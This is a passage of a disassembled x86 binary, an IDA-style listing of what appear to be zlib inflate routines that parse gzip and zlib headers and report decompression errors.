		mov	cl, [ecx+1]
		inc	edi
		mov	[edi], cl


loc_40FFC9:				; CODE XREF: sub_40FC7B+11Cj
					; sub_40FC7B+33Aj ...
		cmp	ebx, [ebp+var_2C]
		jnb	short loc_410005
		cmp	edi, [ebp+var_30]
		jb	loc_40FCFA
		jmp	short loc_410005
; ---------------------------------------------------------------------------


loc_40FFD9:				; CODE XREF: sub_40FC7B+230j
		mov	dword ptr [eax+18h], offset aInvalidDistanc ; "invalid distance	too far	back"
		jmp	short loc_40FFFF
; ---------------------------------------------------------------------------


loc_40FFE2:				; CODE XREF: sub_40FC7B+18Fj
		mov	dword ptr [eax+18h], offset aInvalidDista_0 ; "invalid distance	code"
		jmp	short loc_40FFFF
; ---------------------------------------------------------------------------


loc_40FFEB:				; CODE XREF: sub_40FC7B+DAj
		test	cl, 20h
		jz	short loc_40FFF8
		mov	dword ptr [esi], 0Bh
		jmp	short loc_410005
; ---------------------------------------------------------------------------


loc_40FFF8:				; CODE XREF: sub_40FC7B+373j
		mov	dword ptr [eax+18h], offset aInvalidLiteral ; "invalid literal/length code"


loc_40FFFF:				; CODE XREF: sub_40FC7B+365j
					; sub_40FC7B+36Ej
		mov	dword ptr [esi], 1Bh


loc_410005:				; CODE XREF: sub_40FC7B+351j
					; sub_40FC7B+35Cj ...
		mov	ecx, [ebp+arg_4]
		shr	ecx, 3
		sub	ebx, ecx
		shl	ecx, 3
		sub	[ebp+arg_4], ecx
		xor	ecx, ecx
		inc	ecx
		mov	edx, ecx
		mov	ecx, [ebp+arg_4]
		shl	edx, cl
		dec	edx
		mov	ecx, edx
		mov	edx, [ebp+var_4]
		and	edx, ecx
		lea	ecx, [ebx+1]
		mov	[eax], ecx
		lea	ecx, [edi+1]
		mov	[eax+0Ch], ecx
		mov	ecx, [ebp+var_2C]
		sub	ecx, ebx
		add	ecx, 5
		mov	[eax+4], ecx
		mov	ecx, [ebp+var_30]
		sub	ecx, edi
		add	ecx, 101h
		mov	[eax+10h], ecx
		mov	eax, [ebp+arg_4]
		pop	edi
		mov	[esi+38h], edx
		mov	[esi+3Ch], eax
		pop	esi
		pop	ebx
		leave
		retn
sub_40FC7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_410057	proc near		; CODE XREF: sub_4100B2+9Bp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_4100AE
		mov	eax, [ecx+1Ch]
		cmp	eax, edx
		jz	short loc_4100AE
		mov	[eax+1Ch], edx
		mov	[ecx+14h], edx
		mov	[ecx+8], edx
		mov	[ecx+18h], edx
		mov	dword ptr [ecx+30h], 1
		lea	ecx, [eax+530h]
		mov	[eax], edx
		mov	[eax+4], edx
		mov	[eax+0Ch], edx
		mov	dword ptr [eax+14h], 8000h
		mov	[eax+20h], edx
		mov	[eax+28h], edx
		mov	[eax+2Ch], edx
		mov	[eax+30h], edx
		mov	[eax+38h], edx
		mov	[eax+3Ch], edx
		mov	[eax+6Ch], ecx
		mov	[eax+50h], ecx
		mov	[eax+4Ch], ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4100AE:				; CODE XREF: sub_410057+8j
					; sub_410057+Fj
		push	0FFFFFFFEh
		pop	eax
		retn
sub_410057	endp


; =============== S U B	R O U T	I N E =======================================



sub_4100B2	proc near		; CODE XREF: sub_41016C+Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_8]
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, edi
		jz	loc_410166
		cmp	byte ptr [eax],	31h
		jnz	loc_410166
		cmp	[esp+8+arg_C], 38h
		jnz	loc_410166
		mov	esi, [esp+8+arg_0]
		cmp	esi, edi
		jnz	short loc_4100E5


loc_4100DE:				; CODE XREF: sub_4100B2+AFj
		push	0FFFFFFFEh
		jmp	loc_410168
; ---------------------------------------------------------------------------


loc_4100E5:				; CODE XREF: sub_4100B2+2Aj
		cmp	[esi+20h], edi
		mov	[esi+18h], edi
		jnz	short loc_4100F7
		mov	dword ptr [esi+20h], offset sub_41302F
		mov	[esi+28h], edi


loc_4100F7:				; CODE XREF: sub_4100B2+39j
		cmp	[esi+24h], edi
		jnz	short loc_410103
		mov	dword ptr [esi+24h], offset sub_413040


loc_410103:				; CODE XREF: sub_4100B2+48j
		push	2530h
		push	1
		push	dword ptr [esi+28h]
		call	dword ptr [esi+20h]
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41011B
		push	0FFFFFFFCh
		jmp	short loc_410168
; ---------------------------------------------------------------------------


loc_41011B:				; CODE XREF: sub_4100B2+63j
		mov	ecx, [esp+8+arg_4]
		cmp	ecx, edi
		mov	[esi+1Ch], eax
		jge	short loc_41012D
		mov	[eax+8], edi
		neg	ecx
		jmp	short loc_41013E
; ---------------------------------------------------------------------------


loc_41012D:				; CODE XREF: sub_4100B2+72j
		mov	edx, ecx
		sar	edx, 4
		inc	edx
		cmp	ecx, 30h
		mov	[eax+8], edx
		jge	short loc_41013E
		and	ecx, 0Fh


loc_41013E:				; CODE XREF: sub_4100B2+79j
					; sub_4100B2+87j
		lea	edx, [ecx-8]
		cmp	edx, 7
		ja	short loc_410155
		push	esi
		mov	[eax+24h], ecx
		mov	[eax+34h], edi
		call	sub_410057
		pop	ecx
		jmp	short loc_410169
; ---------------------------------------------------------------------------


loc_410155:				; CODE XREF: sub_4100B2+92j
		push	eax
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		pop	ecx
		pop	ecx
		mov	[esi+1Ch], edi
		jmp	loc_4100DE
; ---------------------------------------------------------------------------


loc_410166:				; CODE XREF: sub_4100B2+Aj
					; sub_4100B2+13j ...
		push	0FFFFFFFAh


loc_410168:				; CODE XREF: sub_4100B2+2Ej
					; sub_4100B2+67j
		pop	eax


loc_410169:				; CODE XREF: sub_4100B2+A1j
		pop	edi
		pop	esi
		retn
sub_4100B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41016C	proc near		; CODE XREF: sub_412FA4+34p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		push	[esp+4+arg_4]
		push	0Fh
		push	[esp+0Ch+arg_0]
		call	sub_4100B2
		add	esp, 10h
		retn
sub_41016C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410183	proc near		; CODE XREF: sub_41025B+1160p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [edi+1Ch]
		cmp	dword ptr [esi+34h], 0
		mov	ebx, eax
		jnz	short loc_4101B5
		mov	ecx, [esi+24h]
		xor	eax, eax
		inc	eax
		shl	eax, cl
		push	1
		push	eax
		push	dword ptr [edi+28h]
		call	dword ptr [edi+20h]
		add	esp, 0Ch
		test	eax, eax
		mov	[esi+34h], eax
		jnz	short loc_4101B5
		inc	eax
		jmp	loc_410257
; ---------------------------------------------------------------------------


loc_4101B5:				; CODE XREF: sub_410183+Fj
					; sub_410183+2Aj
		xor	eax, eax
		cmp	[esi+28h], eax
		jnz	short loc_4101CD
		mov	ecx, [esi+24h]
		xor	edx, edx
		inc	edx
		shl	edx, cl
		mov	[esi+30h], eax
		mov	[esi+2Ch], eax
		mov	[esi+28h], edx


loc_4101CD:				; CODE XREF: sub_410183+37j
		sub	ebx, [edi+10h]
		mov	eax, [esi+28h]
		cmp	ebx, eax
		jb	short loc_4101EF
		mov	ecx, [edi+0Ch]
		push	eax
		sub	ecx, eax
		push	ecx
		push	dword ptr [esi+34h]
		call	sub_40CCF7
		add	esp, 0Ch
		and	dword ptr [esi+30h], 0
		jmp	short loc_410230
; ---------------------------------------------------------------------------


loc_4101EF:				; CODE XREF: sub_410183+52j
		sub	eax, [esi+30h]
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jbe	short loc_4101FC
		mov	[ebp+var_4], ebx


loc_4101FC:				; CODE XREF: sub_410183+74j
		mov	eax, [edi+0Ch]
		push	[ebp+var_4]
		sub	eax, ebx
		push	eax
		mov	eax, [esi+34h]
		add	eax, [esi+30h]
		push	eax
		call	sub_40CCF7
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		sub	ebx, eax
		jz	short loc_410238
		mov	eax, [edi+0Ch]
		push	ebx
		sub	eax, ebx
		push	eax
		push	dword ptr [esi+34h]
		call	sub_40CCF7
		add	esp, 0Ch
		mov	[esi+30h], ebx


loc_410230:				; CODE XREF: sub_410183+6Aj
		mov	eax, [esi+28h]
		mov	[esi+2Ch], eax
		jmp	short loc_410255
; ---------------------------------------------------------------------------


loc_410238:				; CODE XREF: sub_410183+96j
		add	[esi+30h], eax
		mov	ecx, [esi+30h]
		mov	edx, [esi+28h]
		cmp	ecx, edx
		jnz	short loc_410249
		and	dword ptr [esi+30h], 0


loc_410249:				; CODE XREF: sub_410183+C0j
		mov	ecx, [esi+2Ch]
		cmp	ecx, edx
		jnb	short loc_410255
		add	ecx, eax
		mov	[esi+2Ch], ecx


loc_410255:				; CODE XREF: sub_410183+B3j
					; sub_410183+CBj
		xor	eax, eax


loc_410257:				; CODE XREF: sub_410183+2Dj
		pop	esi
		pop	ebx
		leave
		retn
sub_410183	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41025B	proc near		; CODE XREF: sub_412FA4+47p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		sub	esp, 30h
		push	ebx
		xor	eax, eax
		cmp	edx, eax
		push	esi
		push	edi
		jz	short loc_4102BE
		mov	esi, [edx+1Ch]
		cmp	esi, eax
		jz	short loc_4102BE
		cmp	[edx+0Ch], eax
		jz	short loc_4102BE
		cmp	[edx], eax
		jnz	short loc_410282
		cmp	[edx+4], eax
		jnz	short loc_4102BE


loc_410282:				; CODE XREF: sub_41025B+20j
		cmp	dword ptr [esi], 0Bh
		jnz	short loc_41028D
		mov	dword ptr [esi], 0Ch


loc_41028D:				; CODE XREF: sub_41025B+2Aj
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+10h]
		mov	ebx, [esi+38h]
		and	[ebp+var_24], 0
		mov	edi, [esi+3Ch]
		mov	[ebp+var_1C], eax
		mov	eax, [edx]
		mov	[ebp+var_4], eax
		mov	eax, [edx+4]
		mov	[ebp+var_8], eax
		mov	[ebp+var_2C], eax
		mov	eax, [esi]
		cmp	eax, 1Ch
		mov	[ebp+var_14], ecx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_20], ecx
		jbe	short loc_4102C9


loc_4102BE:				; CODE XREF: sub_41025B+10j
					; sub_41025B+17j ...
		push	0FFFFFFFEh


loc_4102C0:				; CODE XREF: sub_41025B+1105j
					; sub_41025B+1171j
		pop	eax


loc_4102C1:				; CODE XREF: sub_41025B+1201j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4102C6:				; CODE XREF: sub_41025B+10DBj
		mov	edx, [ebp+arg_0]


loc_4102C9:				; CODE XREF: sub_41025B+61j
		jmp	ds:off_411463[eax*4]


loc_4102D0:				; DATA XREF: .text:off_411463o
		mov	eax, [esi+8]
		test	eax, eax
		jnz	short loc_410304
		mov	dword ptr [esi], 0Ch
		jmp	loc_411331
; ---------------------------------------------------------------------------


loc_4102E2:				; CODE XREF: sub_41025B+ACj
		cmp	[ebp+var_8], 0
		jz	loc_41137F
		mov	ecx, [ebp+var_4]
		movzx	edx, byte ptr [ecx]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	edx, cl
		add	ebx, edx
		inc	[ebp+var_4]
		mov	[ebp+var_10], ebx
		add	edi, 8


loc_410304:				; CODE XREF: sub_41025B+7Aj
		cmp	edi, 10h
		jb	short loc_4102E2
		test	al, 2
		jz	short loc_41034E
		cmp	ebx, 8B1Fh
		jnz	short loc_41034E
		xor	edi, edi
		push	edi
		push	edi
		push	edi
		call	sub_40E5EB
		mov	[esi+18h], eax
		push	2
		lea	eax, [ebp+var_18]
		push	eax
		mov	[ebp+var_18], 1Fh
		mov	[ebp+var_17], 8Bh
		push	dword ptr [esi+18h]
		call	sub_40E5EB
		add	esp, 18h
		xor	ebx, ebx
		mov	[esi+18h], eax
		mov	[ebp+var_10], ebx
		mov	dword ptr [esi], 1
		jmp	loc_411331
; ---------------------------------------------------------------------------


loc_41034E:				; CODE XREF: sub_41025B+B0j
					; sub_41025B+B8j
		mov	eax, [esi+20h]
		and	dword ptr [esi+10h], 0
		test	eax, eax
		jz	short loc_41035D
		or	dword ptr [eax+30h], 0FFFFFFFFh


loc_41035D:				; CODE XREF: sub_41025B+FCj
		test	byte ptr [esi+8], 1
		jz	loc_4103F0
		movzx	eax, bl
		shl	eax, 8
		mov	ecx, ebx
		shr	ecx, 8
		add	eax, ecx
		push	1Fh
		xor	edx, edx
		pop	ecx
		div	ecx
		test	edx, edx
		jnz	short loc_4103F0
		mov	eax, ebx
		and	al, 0Fh
		cmp	al, 8
		jz	short loc_410396
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], offset aUnknownCompres ; "unknown compression method"
		jmp	loc_41132B
; ---------------------------------------------------------------------------


loc_410396:				; CODE XREF: sub_41025B+12Aj
		shr	ebx, 4
		mov	ecx, ebx
		and	ecx, 0Fh
		add	ecx, 8
		sub	edi, 4
		cmp	ecx, [esi+24h]
		mov	[ebp+var_10], ebx
		jbe	short loc_4103BB
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], offset aInvalidWindowS ; "invalid window size"
		jmp	loc_41132B
; ---------------------------------------------------------------------------


loc_4103BB:				; CODE XREF: sub_41025B+14Fj
		xor	eax, eax
		xor	edi, edi
		inc	eax
		shl	eax, cl
		push	edi
		push	edi
		push	edi
		mov	[esi+14h], eax
		call	sub_40E0E6
		mov	ecx, [ebp+arg_0]
		shr	ebx, 8
		not	ebx
		and	ebx, 2
		or	ebx, 9
		mov	[esi+18h], eax
		mov	[ecx+30h], eax
		add	esp, 0Ch
		mov	[esi], ebx
		xor	ebx, ebx
		mov	[ebp+var_10], ebx
		jmp	loc_411331
; ---------------------------------------------------------------------------


loc_4103F0:				; CODE XREF: sub_41025B+106j
					; sub_41025B+122j
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], offset aIncorrectHeade ; "incorrect header	check"
		jmp	loc_41132B
; ---------------------------------------------------------------------------


loc_4103FF:				; CODE XREF: sub_41025B:loc_4102C9j
					; DATA XREF: .text:00411467o
		cmp	edi, 10h
		jnb	short loc_41042E


loc_410404:				; CODE XREF: sub_41025B+1CEj
		cmp	[ebp+var_8], 0
		jz	loc_41137F
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		add	edi, 8
		add	ebx, eax
		inc	[ebp+var_4]
		cmp	edi, 10h
		mov	[ebp+var_10], ebx
		jb	short loc_410404
		mov	edx, [ebp+arg_0]


loc_41042E:				; CODE XREF: sub_41025B+1A7j
		cmp	bl, 8
		mov	[esi+10h], ebx
		jz	short loc_410442
		mov	dword ptr [edx+18h], offset aUnknownCompres ; "unknown compression method"
		jmp	loc_41132B
; ---------------------------------------------------------------------------


loc_410442:				; CODE XREF: sub_41025B+1D9j
		test	bx, 0E000h
		jz	short loc_410455
		mov	dword ptr [edx+18h], offset aUnknownHeaderF ; "unknown header flags set"
		jmp	loc_41132B
; ---------------------------------------------------------------------------


loc_410455:				; CODE XREF: sub_41025B+1ECj
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_410466
		mov	ecx, ebx
		shr	ecx, 8
		and	ecx, 1
		mov	[eax], ecx


loc_410466:				; CODE XREF: sub_41025B+1FFj
		test	word ptr [esi+10h], 200h
		jz	short loc_41048E
		mov	[ebp+var_18], bl
		push	2
		lea	eax, [ebp+var_18]
		shr	ebx, 8
		push	eax
		mov	[ebp+var_17], bl
		push	dword ptr [esi+18h]
		call	sub_40E5EB
		mov	edx, [ebp+arg_0]
		add	esp, 0Ch
		mov	[esi+18h], eax


loc_41048E:				; CODE XREF: sub_41025B+211j
		xor	ebx, ebx
		xor	edi, edi
		mov	dword ptr [esi], 2


loc_410498:				; CODE XREF: sub_41025B:loc_4102C9j
					; DATA XREF: .text:0041146Bo
		cmp	edi, 20h
		jnb	short loc_4104C4


loc_41049D:				; CODE XREF: sub_41025B+264j
		cmp	[ebp+var_8], 0
		jz	loc_41137F
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		add	edi, 8
		add	ebx, eax
		inc	[ebp+var_4]
		cmp	edi, 20h
		jb	short loc_41049D
		mov	edx, [ebp+arg_0]


loc_4104C4:				; CODE XREF: sub_41025B+240j
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_4104CE
		mov	[eax+4], ebx


loc_4104CE:				; CODE XREF: sub_41025B+26Ej
		test	word ptr [esi+10h], 200h
		jz	short loc_410506
		mov	eax, ebx
		shr	eax, 8
		mov	[ebp+var_17], al
		mov	eax, ebx
		shr	eax, 10h
		mov	[ebp+var_16], al
		mov	[ebp+var_18], bl
		push	4
		lea	eax, [ebp+var_18]
		shr	ebx, 18h
		push	eax
		mov	[ebp+var_15], bl
		push	dword ptr [esi+18h]
		call	sub_40E5EB
		mov	edx, [ebp+arg_0]
		add	esp, 0Ch
		mov	[esi+18h], eax


loc_410506:				; CODE XREF: sub_41025B+279j
		xor	ebx, ebx
		xor	edi, edi
		mov	dword ptr [esi], 3


loc_410510:				; CODE XREF: sub_41025B:loc_4102C9j
					; DATA XREF: .text:0041146Fo
		cmp	edi, 10h
		jnb	short loc_41053C


loc_410515:				; CODE XREF: sub_41025B+2DCj
		cmp	[ebp+var_8], 0
		jz	loc_41137F
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		add	edi, 8
		add	ebx, eax
		inc	[ebp+var_4]
		cmp	edi, 10h
		jb	short loc_410515
		mov	edx, [ebp+arg_0]


loc_41053C:				; CODE XREF: sub_41025B+2B8j
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_410559
		mov	ecx, ebx
		and	ecx, 0FFh
		mov	[eax+8], ecx
		mov	ecx, [esi+20h]
		mov	eax, ebx
		shr	eax, 8
		mov	[ecx+0Ch], eax


loc_410559:				; CODE XREF: sub_41025B+2E6j
		test	word ptr [esi+10h], 200h
		jz	short loc_410581
		mov	[ebp+var_18], bl
		push	2
		lea	eax, [ebp+var_18]
		shr	ebx, 8
		push	eax
		mov	[ebp+var_17], bl
		push	dword ptr [esi+18h]
		call	sub_40E5EB
		mov	edx, [ebp+arg_0]
		add	esp, 0Ch
		mov	[esi+18h], eax


loc_410581:				; CODE XREF: sub_41025B+304j
		xor	ebx, ebx
		mov	[ebp+var_10], ebx
		xor	edi, edi
		mov	dword ptr [esi], 4


loc_41058E:				; CODE XREF: sub_41025B:loc_4102C9j
					; DATA XREF: .text:00411473o
		test	word ptr [esi+10h], 400h
		jz	short loc_410600
		cmp	edi, 10h
		jnb	short loc_4105C2


loc_41059B:				; CODE XREF: sub_41025B+362j
		cmp	[ebp+var_8], 0
		jz	loc_41137F
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		add	edi, 8
		add	ebx, eax
		inc	[ebp+var_4]
		cmp	edi, 10h
		jb	short loc_41059B
		mov	edx, [ebp+arg_0]


loc_4105C2:				; CODE XREF: sub_41025B+33Ej
		mov	eax, [esi+20h]
		test	eax, eax
		mov	[esi+40h], ebx
		jz	short loc_4105CF
		mov	[eax+14h], ebx


loc_4105CF:				; CODE XREF: sub_41025B+36Fj
		test	word ptr [esi+10h], 200h
		jz	short loc_4105F7
		mov	[ebp+var_18], bl
		push	2
		lea	eax, [ebp+var_18]
		shr	ebx, 8
		push	eax
		mov	[ebp+var_17], bl
		push	dword ptr [esi+18h]
		call	sub_40E5EB
		mov	edx, [ebp+arg_0]
		add	esp, 0Ch
		mov	[esi+18h], eax


loc_4105F7:				; CODE XREF: sub_41025B+37Aj
		xor	ebx, ebx
		mov	[ebp+var_10], ebx
		xor	edi, edi
		jmp	short loc_41060B
; ---------------------------------------------------------------------------


loc_410600:				; CODE XREF: sub_41025B+339j
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_41060B
		and	dword ptr [eax+10h], 0


loc_41060B:				; CODE XREF: sub_41025B+3A3j
					; sub_41025B+3AAj
		mov	dword ptr [esi], 5


loc_410611:				; CODE XREF: sub_41025B:loc_4102C9j
					; DATA XREF: .text:00411477o
		test	word ptr [esi+10h], 400h
		jz	loc_4106A3
		mov	edx, [esi+40h]
		mov	eax, [ebp+var_8]
		cmp	edx, eax
		mov	[ebp+var_C], edx
		jbe	short loc_41062D
		mov	[ebp+var_C], eax


loc_41062D:				; CODE XREF: sub_41025B+3CDj
		cmp	[ebp+var_C], 0
		jz	short loc_410696
		mov	ecx, [esi+20h]
		test	ecx, ecx
		jz	short loc_41066E
		mov	eax, [ecx+10h]
		test	eax, eax
		mov	[ebp+var_28], eax
		jz	short loc_41066E
		mov	eax, [ecx+14h]
		mov	ecx, [ecx+18h]
		sub	eax, edx
		mov	edx, [ebp+var_C]
		add	edx, eax
		cmp	edx, ecx
		jbe	short loc_410659
		sub	ecx, eax
		jmp	short loc_41065C
; ---------------------------------------------------------------------------


loc_410659:				; CODE XREF: sub_41025B+3F8j
		mov	ecx, [ebp+var_C]


loc_41065C:				; CODE XREF: sub_41025B+3FCj
		push	ecx
		mov	ecx, [ebp+var_28]
		push	[ebp+var_4]
		add	ecx, eax
		push	ecx
		call	sub_40CCF7
		add	esp, 0Ch


loc_41066E:				; CODE XREF: sub_41025B+3DDj
					; sub_41025B+3E7j
		test	word ptr [esi+10h], 200h
		jz	short loc_41068A
		push	[ebp+var_C]
		push	[ebp+var_4]
		push	dword ptr [esi+18h]
		call	sub_40E5EB
		add	esp, 0Ch
		mov	[esi+18h], eax


loc_41068A:				; CODE XREF: sub_41025B+419j
		mov	eax, [ebp+var_C]
		sub	[ebp+var_8], eax
		add	[ebp+var_4], eax
		sub	[esi+40h], eax


loc_410696:				; CODE XREF: sub_41025B+3D6j
		cmp	dword ptr [esi+40h], 0
		jnz	loc_41137F
		mov	edx, [ebp+arg_0]


loc_4106A3:				; CODE XREF: sub_41025B+3BCj
		and	dword ptr [esi+40h], 0
		mov	dword ptr [esi], 6


loc_4106AD:				; CODE XREF: sub_41025B:loc_4102C9j
					; DATA XREF: .text:0041147Bo
		test	word ptr [esi+10h], 800h
		jz	short loc_410732
		cmp	[ebp+var_8], 0
		jz	loc_41137F
		xor	ecx, ecx


loc_4106C1:				; CODE XREF: sub_41025B+4A0j
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [ecx+eax]
		inc	ecx
		mov	[ebp+var_C], ecx
		mov	ecx, [esi+20h]
		test	ecx, ecx
		mov	[ebp+var_28], eax
		jz	short loc_4106F1
		mov	edx, [ecx+1Ch]
		test	edx, edx
		mov	[ebp+var_30], edx
		jz	short loc_4106F1
		mov	edx, [esi+40h]
		cmp	edx, [ecx+20h]
		jnb	short loc_4106F1
		mov	ecx, [ebp+var_30]
		mov	[ecx+edx], al
		inc	dword ptr [esi+40h]


loc_4106F1:				; CODE XREF: sub_41025B+479j
					; sub_41025B+483j ...
		test	eax, eax
		jz	short loc_4106FD
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_8]
		jb	short loc_4106C1


loc_4106FD:				; CODE XREF: sub_41025B+498j
		test	word ptr [esi+10h], 200h
		jz	short loc_41071C
		push	[ebp+var_C]
		push	[ebp+var_4]
		push	dword ptr [esi+18h]
		call	sub_40E5EB
		mov	[esi+18h], eax
		mov	eax, [ebp+var_28]
		add	esp, 0Ch


loc_41071C:				; CODE XREF: sub_41025B+4A8j
		mov	ecx, [ebp+var_C]
		sub	[ebp+var_8], ecx
		add	[ebp+var_4], ecx
		test	eax, eax
		jnz	loc_41137F
		mov	edx, [ebp+arg_0]
		jmp	short loc_41073D
; ---------------------------------------------------------------------------


loc_410732:				; CODE XREF: sub_41025B+458j
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_41073D
		and	dword ptr [eax+1Ch], 0


loc_41073D:				; CODE XREF: sub_41025B+4D5j
					; sub_41025B+4DCj
		and	dword ptr [esi+40h], 0
		mov	dword ptr [esi], 7


loc_410747:				; CODE XREF: sub_41025B:loc_4102C9j
					; DATA XREF: .text:0041147Fo
		test	word ptr [esi+10h], 1000h
		jz	short loc_4107CC
		cmp	[ebp+var_8], 0
		jz	loc_41137F
		xor	ecx, ecx


loc_41075B:				; CODE XREF: sub_41025B+53Aj
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [ecx+eax]
		inc	ecx
		mov	[ebp+var_C], ecx
		mov	ecx, [esi+20h]
		test	ecx, ecx
		mov	[ebp+var_28], eax
		jz	short loc_41078B
		mov	edx, [ecx+24h]
		test	edx, edx
		mov	[ebp+var_30], edx
		jz	short loc_41078B
		mov	edx, [esi+40h]
		cmp	edx, [ecx+28h]
		jnb	short loc_41078B
		mov	ecx, [ebp+var_30]
		mov	[ecx+edx], al
		inc	dword ptr [esi+40h]


loc_41078B:				; CODE XREF: sub_41025B+513j
					; sub_41025B+51Dj ...
		test	eax, eax
		jz	short loc_410797
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_8]
		jb	short loc_41075B


loc_410797:				; CODE XREF: sub_41025B+532j
		test	word ptr [esi+10h], 200h
		jz	short loc_4107B6
		push	[ebp+var_C]
		push	[ebp+var_4]
		push	dword ptr [esi+18h]
		call	sub_40E5EB
		mov	[esi+18h], eax
		mov	eax, [ebp+var_28]
		add	esp, 0Ch


loc_4107B6:				; CODE XREF: sub_41025B+542j
		mov	ecx, [ebp+var_C]
		sub	[ebp+var_8], ecx
		add	[ebp+var_4], ecx
		test	eax, eax
		jnz	loc_41137F
		mov	edx, [ebp+arg_0]
		jmp	short loc_4107D7
; ---------------------------------------------------------------------------


loc_4107CC:				; CODE XREF: sub_41025B+4F2j
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_4107D7
		and	dword ptr [eax+24h], 0


loc_4107D7:				; CODE XREF: sub_41025B+56Fj
					; sub_41025B+576j
		mov	dword ptr [esi], 8


loc_4107DD:				; CODE XREF: sub_41025B:loc_4102C9j
					; DATA XREF: .text:00411483o
		test	word ptr [esi+10h], 200h
		jz	short loc_41082F
		cmp	edi, 10h
		jnb	short loc_410814


loc_4107EA:				; CODE XREF: sub_41025B+5B4j
		cmp	[ebp+var_8], 0
		jz	loc_41137F
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		add	edi, 8
		add	ebx, eax
		inc	[ebp+var_4]
		cmp	edi, 10h
		mov	[ebp+var_10], ebx
		jb	short loc_4107EA
		mov	edx, [ebp+arg_0]


loc_410814:				; CODE XREF: sub_41025B+58Dj
		movzx	eax, word ptr [esi+18h]
		cmp	ebx, eax
		jz	short loc_410828
		mov	dword ptr [edx+18h], offset aHeaderCrcMisma ; "header crc mismatch"
		jmp	loc_41132B
; ---------------------------------------------------------------------------


loc_410828:				; CODE XREF: sub_41025B+5BFj
		xor	ebx, ebx
		mov	[ebp+var_10], ebx
		xor	edi, edi


loc_41082F:				; CODE XREF: sub_41025B+588j
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_41084A
		mov	edx, [esi+10h]
		xor	ecx, ecx
		inc	ecx
		sar	edx, 9
		and	edx, ecx
		mov	[eax+2Ch], edx
		mov	eax, [esi+20h]
		mov	[eax+30h], ecx


loc_41084A:				; CODE XREF: sub_41025B+5D9j
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		call	sub_40E5EB
		mov	ecx, [ebp+arg_0]
		mov	[esi+18h], eax
		add	esp, 0Ch
		mov	[ecx+30h], eax
		jmp	loc_410F8C
; ---------------------------------------------------------------------------


loc_410865:				; CODE XREF: sub_41025B:loc_4102C9j
					; DATA XREF: .text:00411487o
		cmp	edi, 20h
		jnb	short loc_410894


loc_41086A:				; CODE XREF: sub_41025B+634j
		cmp	[ebp+var_8], 0
		jz	loc_41137F
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		add	edi, 8
		add	ebx, eax
		inc	[ebp+var_4]
		cmp	edi, 20h
		mov	[ebp+var_10], ebx
		jb	short loc_41086A
		mov	edx, [ebp+arg_0]


loc_410894:				; CODE XREF: sub_41025B+60Dj
		mov	eax, ebx
		and	eax, 0FF00h
		mov	ecx, ebx
		shl	ecx, 10h
		add	eax, ecx
		xor	ecx, ecx
		mov	ch, byte ptr [ebp+var_10+2]
		shl	eax, 8
		shr	ebx, 18h
		add	eax, ecx
		add	eax, ebx
		mov	[esi+18h], eax
		mov	[edx+30h], eax
		xor	ebx, ebx
		xor	edi, edi
		mov	dword ptr [esi], 0Ah


